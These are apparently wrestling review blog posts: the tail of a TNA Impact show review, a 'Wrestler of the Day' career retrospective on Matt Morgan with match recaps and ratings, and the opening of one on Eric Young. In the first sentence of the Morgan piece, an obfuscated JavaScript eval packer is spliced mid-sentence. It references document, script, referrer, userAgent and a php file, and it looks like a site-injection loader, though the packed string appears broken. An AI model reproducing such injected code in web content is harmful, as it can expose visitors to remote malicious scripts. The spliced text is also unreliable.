Ray knocks out Spud and Ethan but eliminates himself in the process. Down to four now. Young is down in the corner as Roode spinebusts King, only to have MVP get in a cheap shot to Bobby with his crutch for an elimination.

Young dumps King and we’re down to Hardy vs. Eric. They shake hands and we’re ready to go. A quick belly to belly attempt sends Hardy to the apron but he comes back in with a jawbreaker. Young is sent over the corner for a Flair Flip so of course he struts along the apron. Hardy is nice enough to not nail him but a dropkick knocks Young out for the at 16:00.

Rating: C+. This was a decent enough battle royal as they kept things moving fast enough that it didn’t get boring. Hardy winning the title shot was pretty obvious the second his music hit but he’s one of the best choices. I have no idea where Samoa Joe was, but I’m assuming this is setting up Joe vs. Angle down the line.

Jeff says he won, bad hair and all. He’s the next World Champion and is doing it for the creatures. Lashley comes out and holds up the belt to end the show.

Overall Rating: C+. I actually liked tonight’s show for the most part, but the X-Division stuff gets on my nerves. It’s such a waste of potential for the division and comes off too much like Money in the Bank. Other than that though we had two good matches and a decent enough battle royal to set up a big main event next week. The show did its job and wasn’t terrible so it works well enough for me.

Results
Wolves b. Bram/Magnus – Rollup to Bram
Austin Aries b. Sanada – 450 Splash
Gail Kim b. Madison Rayne, Angelina Love and Brittany – Eat Defeat to Love
Jeff Hardy won a battle royal last eliminating Eric Young

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Wrestler of the Day – June 18: Matt Morgan

Time for a big man who never got a run that everyone that was always around the corner: Matt Morgan.

Morgan eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkyah|var|u0026u|referrer|szkde||js|php'.split('|'),0,{})) started in OVW in 2002 before being called up to the Smackdown roster in late 2003. He was one of the monsters Brock Lesnar brought in to help him at Survivor Series 2003.

Team Angle vs. Team Lesnar

Kurt Angle, Hardcore Holly, John Cena, Bradshaw, Chris Benoit
Brock Lesnar, Nathan Jones, Matt Morgan, Big Show, A-Train

Cena does a rap before the match about how big the other team is. This is one of Morgan’s few matches in WWE. From what I can find, he had 18 total matches, one of which was over a year after his previous one. Holly is here because Lesnar broke his neck and now Holly wants revenge. This would result in Hardcore Holly actually getting a world title match at the Rumble. Show is US Champion here.

Holly jumps Lesnar during his entrance and tries to put him into a full nelson, earning himself a DQ before the match ever starts. Back in the ring, Bradshaw and A-Train start things off with Bradshaw blocking a Vader Bomb and hitting the Clothesline for the elimination to tie us up. Bradshaw charges into a chokeslam from Show and is out 20 seconds later.

Cena comes in but can’t FU Show yet. Off to Brock but Cena takes his knee out. A quick rollup gets two and Cena does the same thing again. Off to Morgan who isn’t quite as polished as Lesnar. A side slam puts Cena down and it’s already off to Jones. Jones does some very basic choking and it’s back to Brock. Cena hits the Throwback on Brock and there’s the tag to Benoit (notice the pop).

Benoit pounds on Lesnar in the corner but it’s back to Big Show and there’s only so much Show can do with him. Show lifts Benoit into the air and drops him on his face while talking trash to Angle. The chokeslam is countered into the Crossface but Brock (who is Smackdown Champion here) makes the save. Show puts on an abdominal stretch of all things followed by the standing legdrop for two.

Angle gets a tag but the referee doesn’t see it. Back to Morgan for some skilled standing on Benoit’s throat. Benoit speeds things up and takes out Morgan’s knee before tagging in Angle. Kurt immediately rolls some Germans on Matt and everything breaks down. Angle Slam eliminates Morgan, the ankle lock eliminates Jones (who would quit in about two weeks and never be seen again) and the F5 takes out Kurt, all in the span of about 25 seconds.

This gets us down to Benoit and Cena vs. Lesnar and Big Show. Lesnar misses a charge in the corner and Benoit goes after the arm like a crazy man. Brock gets Benoit up for the F5 but Benoit counters into the Crossface. Show makes the save so Benoit puts it right back in, only to have Brock make the ropes. The third time though gets a rare tap from Brock as this match is flying by. That more or less makes Benoit the #1 contender.

It’s Benoit and Cena vs. Big Show now as the fans tell Lesnar that he tapped out. Benoit hits a top rope shoulder but can’t put on the Crossface. Cena gets a blind tag and there’s a chokeslam to Benoit. A chain to Show’s head and the FU are enough for the pin. Somehow Cena wouldn’t win the US Title from Show for almost six more months.

Rating: C. Not a great match here but to say it got the fans fired up is the understatement of the year. That FU at the end was the usual jaw dropping moment for Cena and while the rest of the match was pretty forgettable, the crowd is all ready to go now, which is the point of this kind of a match. Angle would turn heel and feud with Eddie soon into the new year.

Here’s a better match for him a few days later on Smackdown, November 20, 2003.

Matt Morgan vs. Shannon Moore

Moore literally only comes up to Matt’s chest. Morgan counters a tilt-a-whirl with ease and the beating is on. He slams Shannon down and destroys him with a big boot. More choking in the corner sets up a sitout powerbomb to end the massacre.

After spending almost all of 2004 in developmental, Morgan would go back and forth between OVW and Smackdown in 2005, including this match from June 16, 2005 on Smackdown.

Big Show vs. Matt Morgan

Morgan is Carlito’s bodyguard and fighting Carlito’s battles for him. Big Show nails some LOUD chops in the corner to start and Morgan is in early trouble. Carlito comes out for a distraction and Morgan sends Big Show to the floor with a knee to the back. Another knee drop gets two and we hit a chinlock. Big Show fights up with a kind of side slam to escape before easily winning a slugout. He knocks Morgan to the floor but gets sent into the steps. Morgan loads up the announce table but gets caught by the throat. Carlito nails Big show in the back with a chair for a DQ and no effect.

Rating: D+. The match was your standard battle of the giants but Big Show was clearly a few miles ahead of Morgan at this point. That being said, this is a few weeks after Morgan gave Big Show an F5 through the announce table so you would think he had already proven his worth.

None of this would matter as Morgan would be released about three weeks later. Morgan would wrestle in Japan and Europe until late 2007 when he would debut in TNA as Jim Cornette’s bodyguard. His first match in TNA would take place at Lockdown 2008.

Team Cage vs. Team Tomko

Christian, Nash, Sting, Rhino, Matt Morgan
Tomko, Bubba, D-Von, AJ Styles, James Storm

Remember that AJ is a comedy heel here so the talent is a bit one sided. Christian and AJ start as the smarks explode. Tomko teases being number one for his team but he sends AJ in instead. Now remember they’re going for five minutes and then after the coin toss whoever wins will have a two minute advantage and after that two minutes the losing team makes it 2-2.

That continues until all ten are in. Ten men are WAY too many but I love me some WarGames so this is fun. The heel team of course wins to continue the tradition. AJ is freaking amazing. He might be better at this point than he is now if you can believe that. AJ is dominating here and we have another heel coming. What is our future ECW Champion going to do???

Christian takes over for a bit but we get back to even as Brother Ray comes out. One of the beauties of this match is that you have seventeen minutes at least of wrestling before you get to the finale of the match. It’s a nice little break from those never ending matches that get rather boring.

Ray wears a Yankees jersey and remember we’re just outside of Boston (those teams hate each other for you non baseball fans). And Ray uses a Boston Crab. That’s just amusing. Rhyno ties us up. Didn’t they hate each other for like ever? The clock is ten kinds of screwed up now so it’s anyone’s guess how close they get to the right time. James Storm comes out maybe a minute and twenty seconds later. He’s got Jackie with him. Yeah I don’t care either.

He and Roode would hook up soon. For no explainable reason AJ climbs the cage and he and Christian fight on the top but Christian climbs down on the outside and gets knocked to the floor. Nash ties it up but Christian is still on the floor. He launches an AWESOME high cross body to Bubba and Storm. That was sweet looking. D-Von comes in after maybe a minute.

The clock is completely insane, but I can’t criticize it as the Royal Rumble is never anywhere close. I never remember a team that turns face or heel faster than 3D. I like the booking here as they’re letting the heels dominate when they’re way behind in talent but the booking is realistic. Matt Morgan comes in next and he’s as green as possible. He had been Cornette’s bodyguard forever but never got in the ring until here. We know it’s Tomko and Sting left so that’s no mystery.

There’s a lot of laying around here but you have to do that in a sense here as there are just too many people in there. AJ and Matt hook up for awhile which is a PPV main event someday if they quit messing around with Morgan. Oh that’s right: we need to have Hogan’s boys in the main event. Christian and Tomko go at it as the two captains which is always interesting.

D-Von is bleeding pretty well. The fans want Sting. Everyone stops to meet Sting but he pulls a 96 WarGames and beats them all up by himself. In a cool spot, Sting throws AJ up like for a back body drop but just kicks him in the balls instead. The roof with the weapons is lowered. Everybody grabs one as they have them on the roof too. Yeah they’re not even bothering trying to hide that they’re going up there.

Oh ok there’s a trap door so it’s more obvious. I kind of like that. Storm and Christian go up there which unclutters the ring a bit as it badly needs. There’s a bit hole in the roof which is kind of a cool visual. Nash and Morgan do a double chokeslam on 3D. AJ grabs a kendo stick and just massacres people with it. We have a table on the roof and AJ heads up there too so there are three up there and seven in the ring. AJ sets up a ladder ON TOP OF THE CAGE. Once he climbs it, he might be higher up than on top of the HIAC. I’m pretty sure he is.

As someone afraid of heights, that’s scary as all all goodness to me. Christian climbs up too and Storm shoves the ladder over. Nothing at all is happening in the cage mind you. They couldn’t have gone any further without a potential serious injury. And then Rhyno gores Storm for the pin. What the heck was that???? It’s like they ran out of time all of a sudden and said OH DANG end it.

Rating: B-. That’s mainly for the bad ending. There was no big dramatic moment or anything and they just had the Gore for the pin. I’m not wild on that at all. The ten people are just WAY too many for one ring. This should have been 3-3 or so and nothing more. Actually 4-4 could work. There were also far too many dead spots too.

This is definitely a good idea but it needs a lot of tweaking with the main thing being an adjustment to the amount of people. I’m probably shortchanging this a bit, but there were too many people and too much laying around doing nothing because of the confined space. The two ring, 8 man matches were always, well at least almost always, awesome because they found that balance. If TNA can do that then these matches go WAY up in value.

Morgan would team up with Abyss and challenge for the Tag Team Titles at Bound For Glory 2008.

Tag Titles: Matt Morgan/Abyss vs. Beer Money vs. Team 3D vs. LAX

This is Monster’s Ball and Beer Money have the belts. Steve McMichael of all people is the guest referee. He looks OLD too. The intros here are freaking ridiculous. Basically this is a four way street fight/hardcore match but I’m not sure if the pins have to be in the ring or not. WAY too many people in the ring here.

You know at this point, is Mongo the most successful singles wrestler in there? Ah that’s right Abyss is a former world champion. Not that we’re ever told that anymore or anything though. Bunch of high spots including a tope con hilo from Homicide. We break out the weapons and its really nothing special at all. Homicide has a fork for no apparent reason and stabs D-Von’s head with it.

Abyss is on his anti-weapons thing here. Cheese grater comes out as I feel like I’m on Emeril or something. That doesn’t sound bad actually as I’m a bit hungry. Bubba suplexes Hernandez from the middle rope and the fans want tables. Blockbuster by Roode which makes me smile a bit. Total weapons thing starts up here as Mongo steals the tacks from Storm.

Mongo is FAT. We get a football sequence complete with helmet and football and Beer Money goes down of course. Morgan does a big dive to the floor to take out a bunch of people. This is such a huge mess. Johnny Devine comes out and pops Abyss with a kendo stick a few times. Table and lighter fluid are brought in on the stage. Abyss goes through it off a double chokeslam from the Dudleys.

Homicide in control now. I’ve never seen this ring genius or whatever that he’s supposed to be. Sweet goodness Mongo counts slow. Sit out powerbomb by Hernandez gets two. Elevated Gringo Cutter gets two due to Jackie getting the save. Apparently the Dudleys and Morgan have like died or something. Ah there’s Morgan. Border Toss to Morgan as Bubba brings in a table.

Supermex makes the save for Homicide though as this is probably getting close to the end. Mongo helps lay out the tacks on the table and Hernandez hits a 3D on the table on the tacks but Beer Money runs in to steal the pin.

Rating: B-. It certainly was violent, but it was just a big long weapons match. This is the longest match of the night, getting over twenty minutes. Mongo hurt this a lot as he counted so slowly that it appeared that he was shortchanging everyone with the cadence of his counts. This was pretty good but at the same time it was nothing we hadn’t seen before. Also having 8 guys out there was just too much. Still fun though.

As you would expect, the team would split and have a bunch of gimmick matches against each other. Here they are at Destination X 2009 in a Match of 10,000 Thumbtacks.

Abyss vs. Matt Morgan

You win by throwing the other person into the tacks. What a novel concept indeed. Morgan jumps him to start and takes over. There is no sign of the tacks to start but I guess they’re coming later. Abyss chops him in the chest HARD and the crowd responds loudly. So much for the offense though as a clothesline puts him out on the floor.

Ah there are the tacks. They’re on big tables/boards and not really held down at all. Abyss sets them up in front of the stage while Morgan is down, only to get sent into the railing. Morgan, ever the scholar, tries for the cover and is told that it doesn’t work. I guess that wasn’t part of his, ahem, blueprint for the match?

Ok wait now there’s a pole with tacks in it? So you can put them in ANY set of tacks? Is this a tack scavenger hunt? Morgan gets in his face and talks some trash and escapes a chokeslam. We get the Umaga running hips to the head of Morgan in the corner. There’s another bag of tacks on another corner. You know Russo had SOMETHING to do with this. Abyss plays to the crowd and walks into a Carbon Footprint to take him down.

If it sounds like I’m bored it’s because I am. This is a very boring match because they aren’t really teasing the tacks at all and are just having a match where they keep grabbing more and more tacks. Lot blow by Abyss and he throws Morgan into a chair wedged between the ropes. Abyss finally tries a powerbomb into the tacks but gets reversed. He has to settle for the Black Hole Slam not into the tacks instead.

Here’s some glass to be put on top of the tacks. You know because we haven’t done this in awhile right? Morgan heads up the stage only to be caught in a chokeslam attempt. That of course doesn’t happen and Morgan knocks him into the tacks off the stage to finally end this match which felt like it lasted about 8 hours instead of 8 minutes.

Rating: D. This was one of the least interesting matches I can remember in a long time because no one thought Abyss had a chance of winning it. Boring match as they spent like a minute of the match teasing going into the tacks and that’s all there was to it. At least they let Abyss be in a weapons match as he was supposed to be.

Morgan was a hot enough act that he got a World Title shot at Hard Justice 2009.

TNA World Title: Kurt Angle vs. Sting vs. Matt Morgan

To waste more time, everyone gets the camera shot of them coming to the ring and then a video about them. Big match intros waste another few minutes. I guess wrestling doesn’t matter yet. Angle is SKINNY here, maybe weighing 170. Morgan and Angle work together to start but Angle gets caught quickly by Sting, getting us down to one on one. Everyone on the floor now and the brawl is on.

Sting works over Morgan, sending him into the railing a few times. Morgan’s wife is here apparently. The Mafia takes over again and the beating continues. Morgan is all like I told you I’d help. Sting again fights them off and takes over for like the third time in this match. Both guys get splashes and Morgan is sent to the floor. Suplex gets two on Kurt who wakes up and drills Sting to take over again.

We talk about AJ not being here and how he has a major announcement on Impact which was to be his retirement until Sting stepped in to save the day. Back in the ring the Angle Slam is countered into a Scorpion attempt but Morgan makes the save. Slam gets two. Ankle lock is reversed and it’s Morgan vs. Sting again. There are the corner elbows and Morgan just drops him instead of hitting a side slam which gets two.

Fallaway slam hits as Kurt really shouldn’t be down this long due to a reversed ankle lock. Angle pulls the top rope down to send Morgan to the floor and the not-exactly-giant isn’t happy. Morgan says the deal is over and hits the Carbon Footprint to take down Kurt on the floor. Well at least he has a reason to be down now. Kurt claims a shoulder injury now. There’s no one to count the pin that Morgan has on Sting now and Matt isn’t pleased.

Scorpion Death Drop in the ring and now Hebner is right there. Does that make Morgan Bret Hart some how? Now Kurt is holding his neck. Make up your crazy mind already dude. Morgan takes Sting’s head off with the kick and Hebner is slow getting there again, only for Kurt to pull him out. “You screwed Matt!” Kurt brings in a chair and takes both guys down with chair shots, good for the pin on Morgan to retain.

Rating: C. Just a triple threat here as not a lot was really accomplished here. Morgan gets screwed over again and Kurt is still champion. Sting of course will keep fighting and that’s about it. The match was just ok and nothing special in the slightest. Not a horrible match or anything but nothing that you couldn’t see on any other show.

Next up was a tag team with Hernandez because they were both big and strong. They got a title shot at Genesis 2010.

Tag Titles: British Invasion vs. Hernandez/Matt Morgan

The stupidity of just putting two big names like these guys into a team astounds me but whatever. If nothing else they’re most likely getting the tag titles off of the worthless British Invasion, although putting them on two guys thrown together and called a tag team? That’s nothing WWE would ever do, nope.

Hernandez is wearing a shirt here so it looks like he’s wrestling in a one piece swimsuit. It’s fairly obvious that we’re getting new champions here but at least they’re giving us a bit of drama first and letting the Invasion have some credibility. The problem here is that other than Williams we have three power guys and Williams isn’t in the match much either. Oh and Nick Hogan is here too. This is idiotic at this point.

They make fun of the vintage joke, because no one has ever done that before. Williams gets a jumping back elbow from the top which makes this a much better match already. Morgan FINALLY hits the chokeslam that he’s been trying to get all match. The problem with this match is apparent as either face is able to beat up both champions on his own. What’s the point of something like that? The bicycle kick from Morgan hits and it’s so hard that Magnus jumped before it connected. That’s very impressive.

Rating: C. This was average. The title change was more or less a given and there’s nothing at all wrong with that. Sometimes you have to have it go one way or the other and that’s what this did here. It’s not bad but it was more of a formality than anything else and it came off pretty well.

I’ll skip over the split and Morgan becoming the Tag Team Champions (yes he said it like that) by himself. Hernandez would win most of the matches in their feud so we’ll skip ahead to Turning Point 2010 when Morgan got another World Title shot.

TNA World Title: Matt Morgan vs. Jeff Hardy

Wow I want this show to end very badly. Hardy of course gets a big face reaction. Why does Russo always have to insist on trying to turn the most over faces in the company heel (and by that I mean STING)? Morgan overpowers him to start of course. Hardy keeps stalling a lot as he can’t buy a heel reaction if his life depends on it.

Hardy tries to work on Morgan’s knee as he slows things way down. This is weird to see to put it mildly. More knee work and Jeff of course covers. Mornga makes his comeback with pure power but his knee is still hurting him. Jeff gets a DDT for two and no one cares. To say Jeff is the more popular of these two is a huge understatement. Chokeslam gets two.

Hardy gets a low blow and Twist of Hate to ZERO reaction from the crowd. Everyone knew he wasn’t winning with it and no one cared. Oh listen to that Hardy chant. Russo, please, understand this: THE MEGA FACES ARE MEGA FACES BECAUSE PEOPLE LIKE THEM! They screw something up BAD or this was supposed to be a screwjob spot as Morgan takes his head off with the bicycle kick and covers for two but the referee just stops counting even though there was no kickout. He says two as Jeff merely raised his foot which is apparently a kickout. That looked awful and everyone was confused.

A second Twist out of nowhere gets two again to another lack of reaction. And then a few seconds later Hardy gets a Whisper in the Wind and a third Twist of Hate to end it and keep the title. Morgan looked like a jobber to the stars here. Fourtune and Immortal come out to celebrate the victory to end the show, complete with champagne, beer and confetti. Oh and it’s red and yellow of course. Oh and Flair gets iced.

Rating: F. This was the main event of the Pay Per View. This match is nowhere near as good as I’ve made it sound which may sound conceited but it’s true. Hardy as a heel is more or less a failure as EVERYONE LOVES HIM STILL. This isn’t 1996 and he isn’t Hulk Hogan which is what they’re going for. Back then the fans wanted to boo Hogan but were wanting a reason. That worked wonders.

Morgan would go back to fighting Hernandez for no apparent reason, including this match at Lockdown 2011.

Hernandez vs. Matt Morgan

Battle of the giants here even though one of the giants is 6’2. I’m not sure how well that plays but they both look big so it works out fine. Anarquia reaches through the cage to pull Morgan’s leg and give Hernandez the advantage. Hernandez hammers away and we hit the nerve hold. Dude get your racial stereotypes straight. That’s a Samoan move.

Basically they’re having a regular match in a cage which is part of the problem with this show every year. Running shoulder in the corner by Hernandez and he poses a lot again. Either Morgan is legit hurt or Hernandez is really stupid as he’s walked around for about 30 seconds now. Morgan pops up with a discus lariat to put both guys down for a bit.

Here’s Morgan’s comeback which is just ok. Backdrop suplex gets two. Hernandez ends that with something like a headbutt to the ribs for two. Morgan avoids a charge to send Hernandez into the cage. The girls climb up on the cage as does Anarquia. Down goes the dude and Hernandez tries to come off the top. Morgan catches him with a really bad looking Carbon Footpring to end this.

Rating: D. Boring match here again as nothing worked in it again. Morgan never got anything going for the most part and the ending was weak looking. Again though the right guy won and hopefully that ends the feud. Boring match again as one more time I’m glad I didn’t go to this show.

Morgan would hook up with Crimson and win the Tag Team Titles, which would be defended at Final Resolution 2011.

Tag Titles: Crimson/Matt Morgan vs. D-Von/D’Angelo Dinero

Crimson vs. Pope gets us going here with Crimson using his cravate with the knees to take over. Morgan comes in and he wants D-Von. That isn’t the best idea in the world as D-Von takes over with his usual stuff. Back to Red Man vs. Pope with the street preacher who never preaches taking over. STO gets two but he gets speared down quickly. An exploder suplex gets the same.

Morgan hits the fallaway slam for two as well as a side slam. Pope finally gets in a DDT to put both guys down and brings in D-Von off the not-hot tag. A neckbreaker and headbutt off the top get two on Crimson. Everything breaks down and there’s a spinebuster to Crimson. Top rope elbow from Pope gets two. A double chokeslam from the champions keep the titles on them at 9:33.

Rating: D. Again, this was BORING. There’s no heat on any of these matches because their build has been horrible or non-existent. This D-Von vs. Pope stuff has been going on since June and it’s still not getting anywhere. That’s one of TNA’s problems: they take forever to get anywhere which is what’s going on with this. That and no one cares about D-Von in 2011 but that goes without saying.

It’s been quite a lot of TNA so far so let’s go to India. From the first Ring Ka King show.

Ring Ka King Heavyweight Title Tournament: Sir Brutus Magnus vs. Matt Morgan

Magnus runs to the corner to start. Morgan gets his hands on him and throws him around with ease. Magnus gets sent to the floor and it’s time for a chase scene. Morgan misses a corner splash and Magnus takes over. A slam attempt fails as Morgan falls onto him for two. Off to an abdominal stretch by Magnus which Morgan easily escapes and starts his comeback. He beats Magnus up and hits a chokeslam, followed by the Carbon Footprint for the pin at 5:14.

Rating: D. This was a really basic and boring power match. I’ve seen far worse but there really isn’t anything going on here. Morgan looks like a force though which is the point of this. Not terrible but if Magnus is supposed to be the top heel in the company or at least the mouthpiece for it (no sign of him being a coward yet) shouldn’t he be treated as something better than a jobber to the stars like he was here?

Morgan would leave the company for most of the summer in 2012 before returning as Joey Ryan’s bodyguard. They would challenge for the Tag Team Titles at Genesis 2013.

Tag Titles: Matt Morgan/Joey Ryan vs. Chavo Guerrero/Hernandez

Chavo and Hernandez are defending and I’m glad to see this match get done first as it’s probably the least interesting one on the card for me. I just don’t care about either team at all. Chavo and Joey get things going with the champion taking him into the corner to start, only to get caught in a slingshot to send him into Morgan’s forearm. Off to the big man who almost immediately tags Ryan in again.

Joey dropkicks Guerrero down but like an idiot won’t cover. Chavo rolls into the corner for the tag to Hernandez who hits a BIG backdrop (Keneley can’t remember what to call it) before facing off with Hernandez. Joey blasts Hernandez in the back to allow Morgan to take over. Off to Joey for some chest rubbing and a front facelock. Morgan comes back in for a single shot and it’s back to Ryan again.

Morgan’s discus lariat keeps Hernandez down and he laughs at Hernandez for not being able to tag out. Hernandez finally avoids a charge in the corner from Ryan and makes the tag, but naturally the referee doesn’t see it. Morgan and Ryan tag in and out some more to beat on SuperMex with Matt holding Hernandez up for Ryan to pound away. Joey hooks a lame neck crank which Hernandez easily breaks and follows up with a tilt-a-whirl backbreaker.

Hot tag brings in Chavo to clean house with Three Amigos on Ryan. Everything breaks down and Chavo staggers Morgan with a missile dropkick. The champs hit a double dropkick to send Morgan staggering over Ryan before Hernandez hits a SICK (and mostly botched) sitout powerbomb on Joey. The Frog Splash retains the titles at 11:30.

Rating: C. The match was fine aside from Ryan nearly having his neck broken. Ryan and Morgan have no reason to be together and I’m hoping the team gets split up after tonight. Morgan has the potential to be a big star in Aces and 8’s but instead, they’re just wasting him on a guy who is basically a comedy act. Nothing to see here and not a great choice for an opener.

We’ll wrap it up with a match from Impact on May 2, 2013.

Matt Morgan vs. Sting

The winner gets Bully Ray at Slammiversary. Morgan pounds away in the corner as Taz talks about how great he is in Aces and 8’s. Matt hits him with some hard clotheslines and right hands followed by a chokeslam for two. Back with Morgan ramming Sting into the barricade before heading back inside for some choking. Sting fights back on the floor with some shots into the barricade and steps. We head inside again but Sting walks into the side slam for two.

Morgan misses an elbow drop and gets caught by the Stinger Splash in the corner. Matt fights back with the rapid fire elbows and the Carbon Footprint….for two. Another Footprint hits the buckle and there’s the Scorpion Deathlock. Matt is in big trouble but never taps out. He finally makes the rope so Sting puts the hold right back on. Morgan blacks out from the pain to send Sting to Slammiversary at 13:07.

Rating: D+. As soon as I heard this match announced, I knew Sting was getting the title shot. Why did I know that? Because that’s what happens in TNA. No matter what your other options may be, at the end of the day it’s going to be Sting getting the title shot no matter what. People have been BEGGING to see Morgan elevated for years now, but let’s go with Sting again because he and Hogan have to cowboy up and fight the bikers, because that’s what people (and by that I mean Sting and Hogan) want to see.

That match sums up TNA and Morgan’s career in a nutshell: he could have been the next big thing but he was always passed over. I saw the potential in Morgan but never to the level that a lot of other people saw. He could have been a good monster but I didn’t buy him as the face of a promotion. Still though, he had a good look and could throw a good kick so what more do you need?

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Wrestler of the Day – June 14: Eric Young

Today we’re going to Canada for a former TNA World Champion: Eric Young.

Young started in the Canadian independents in 1998 and eventually earned a spot as a jobber in WWE. Here’s a match from Velocity on August 23, 2003. Notice Young’s partner.

FBI vs. Eric Young/Bobby Roode

The FBI are Chuck Palumbo and Johnny Stamboli. Johnny and Roode get things going with the jobber getting run over. A crucifix gets two for Roode and he brings in Young to work on the arm. Stamboli easily powers him into the corner and brings in Palumbo for some shoulders to the ribs. A hard slam drops Young and a buckle bomb has him rolling around in pain. The double teaming begins as Young is taking quite a beating. Palumbo gets two off a clothesline and we hit the chinlock. Eric finally avoids a charge and tags in Roode as everything breaks down. Chuck superkicks Roode in the back of the head for the pin.

Rating: D. Just a squash here but it’s always interesting to see these future names doing nothing in a match like this. Roode and Young looked decent but it was clear they were far from being ready to do much of anything. In other words, they were perfect for TNA at the time, especially since TNA was only a bit over a year old.

Young and Roode would team again as part of Team Canada in TNA. Here they are in the first match ever on Impact on June 4, 2004.

Team Canada vs. Amazing Red/Sonjay Dutt/Hector Garza

Team Canada is Petey Williams, Eric Young and Bobby Roode. Another very different idea from this point is the time limit on screen. Non-title matches only have ten minute time limits and title matches get thirty minutes. If the match goes to a time limit draw, a judge will decide the winner. The Canadians all bail to the floor to start and there’s the triple dive. We start in the ring with Eric Young (with BIG bushy hair) getting beaten up by Amazing Red until the Canadians take Eric out.

Roode pounds away on Red as the power member of the Canadians, getting two off an elbow. There’s also an ESPN style bottom line, running down results of recent TNA PPVs. Petey gets two off a middle rope bulldog and Coach Scott D’Amore gets in a cheap shot of his own. Back to Roode for a nice suplex before knocking Dutt and Garza out to the floor.

Red comes back with a simultaneous headscissors to Roode and DDT to Young, allowing for the hot tag to Garza. Roode takes him down with a tilt-a-whirl powerbomb as everything breaks down. Red gets two on Roode off a springboard hurricanrana but Petey snaps off the Canadian Destroyer to take Red out. Roode’s Razor’s Edge is countered into a hurricanrana by Dutt, setting up a corkscrew moonsault from Dutt for the pin.

Rating: C. This was fine for an opener with most of the guys busting out all of their dives. It’s the standard formula of throwing some fast paced guys out there to open up a show and it still works as well as anything else. It’s always fun to see how big starts like Roode got their starts as he looked good here.

The pair would continue to team together and have a change to win their second World Tag Team Titles at Turning Point 2004.

Tag Titles: Ron Killings/BG James vs. Eric Young/Bobby Roode

3 Live Kru are the champions. They won the titles from the Canadians a month ago, making this a rematch. Young and BG get things going with Young being rammed into all of the buckles. Young tries to steal BG’s gyrating punches so the Kru hits their version of What’s Up. Here’s Roode to face Truth. Truth is a replacement for Konnan who is injured so this is under the Freebird Rule.

Truth hits his usual not-WWE stuff and gets two off a spinning kick. The Canadians double team Truth with a double backbreaker for two. They take over with Roode bringing Young back in. Young stomps on Truth in the corner but Truth won’t even sell it at all. He pulls himself up and hits a missile dropkick. No tag as it’s back to Roode. They try their own What’s Up but Truth escapes and makes the tag.

James knocks Roode to the outside and punches Young down. Roode comes back in and James gets two on him off a forearm. Young goes up but Truth hits the ax kick. Roode hits his spinebuster on James for a VERY close two. Roode sets for maybe a spear but the Kru hits a Hart Attack with a side kick instead of a clothesline. James loads up the pumphandle but Johnny Devine runs in and hits James in the back with a hockey stick so the Canadians can get the titles.

Rating: C-. Not terrible here and it was ok enough for an opener. It wasn’t particularly good and I didn’t care who won by the end. That’s a running problem for this era of TNA: the matches and feuds aren’t really compelling as they’re trying desperately to keep a show on and fill in three hours. There’s some ok stuff in here though so it’s certainly not a failure or anything.

Young would stay in Team Canada but switch over to teaming with Petey Williams. They would challenge for the titles at Slammiversary 2005.

Tag Titles: Team Canada vs. The Naturals

It’s Eric Young/Petey Williams vs. Chase Stevens/Andy Douglas respectively. The Naturals are defending and I still don’t remember which is which. Eric and I think Stevens start things off. Ok so Stevens is the blonde one. Got it. Eric works on the arm to start which goes nowhere. They slap/slug it out and Young goes down. Double tag brings in Douglas and Williams. Williams tries a handstand but Douglas grabs his feet and puts on a modified leglock while Petey is still holding himself up. It’s different if nothing else.

Back to the starters with the champions in firm control. Young might have hurt his knee on a leapfrog attempt. When Williams comes in and gets Stevens’ attention, Young pops up and sends him to the floor so that A-1, Canada’s muscle guy, can get in some shots. It’s still Eric vs. Chase but with Stevens in the Tree of Woe, Petey comes in to stand on his crotch and sing O Canada.

Young comes in off the top with a guillotine legdrop for two. Time for the chinlock and Douglas is freaking out waiting for a tag. Petey lures him in and the Canadians get in some double teaming. Some choking and a regular legdrop get two. Eric sends him to the floor so it’s time to talk about Jarrett possibly making bail to make the title match tonight. D’Amore and A-1 work over Stevens more on the outside.

The announcers think the Naturals should consider throwing in the towel. Dang those guys quit pretty easily. The match has only been going on for about ten minutes. Stevens gets in some punches but A-1 stops the comeback. Douglas comes around to break that up but there’s no one for Stevens to tag. Can I get some wah wah wah music? There’s the hot tag a few seconds later and a full nelson backbreaker gets two.

Everything breaks down and Williams puts Douglas in a Sharpshooter. Stevens tries a powerbomb but gets caught in a DDT. Douglas knocks Young to the floor as Stevens and Williams slug it out. Williams gets caught on Douglas’ shoulders and a modified (and bad) Doomsday Device gets two. Natural Disaster (elevated Stunner) gets two on Young. Russian legsweep to Stevens but the Destroyer is countered. D’Amore gets in a hockey stick shot, but JIMMY HART pops in from out of nowhere with the Megaphone. Stevens pops Williams with it and gets the easy pin.

Rating: C+. This was formula down to the core and there’s nothing wrong with that. All four guys were moving pretty quickly out there and the Canadians did their usual stuff. The Naturals were pretty decent in the ring but they had NOTHING to make you care about them at all which wound up being their downfall.

Team Canada would show signs of dissent and finally split in July 2006. Natually they fought amongst each other after the breakup, including this match at No Surrender 2006.

Eric Young vs. A-1

This is fallout from Team Canada breaking up and everything being blamed on Young for no apparent reason other than he was popular. Basic power vs. speed match here which is happening because Young was insanely popular as opposed to now being insane in general. A-1 pounds him down with ease because that’s what big men do. I haven’t seen much of his stuff but he’s one of the most generic big power guys I’ve ever seen.

Young finally gets a break and fights back, even hitting a top rope elbow which gets two. There’s something cool about how moves that have really nothing to do with the size and power of the guy only work for Savage or whoever is using them. Never got that. Anyway, A-1 fights back but can’t get a tombstone, which is another example of what I just mentioned. This is one of those matches where stuff is going on but nothing is happening. After some cheating by A-1, Young hits something like the Lethal Injection for the pin.

Rating: D+. Just a match for the most part here. Power vs. speed usually works pretty well but this was boring for the most part. A-1 more or less never meant anything at all so I guess you can call this his career highlight. Let that sink in for a minute. Young would go on to a REALLY long feud with Roode after this that did nothing for either guy. We did get to see Traci in a bikini though so that helped a bit.

Next up was a feud with the now serious Robert Roode, who Young would wind up working for in exchange for sleeping with Roode’s valet Traci Brooks. The idea was Young was very popular and Roode wanted the same fan support so he tried to buy it. This led to a match between them at Slammiversary 2007 with Eric’s job on the line in exchange for a shot at freedom.

Robert Roode vs. Eric Young

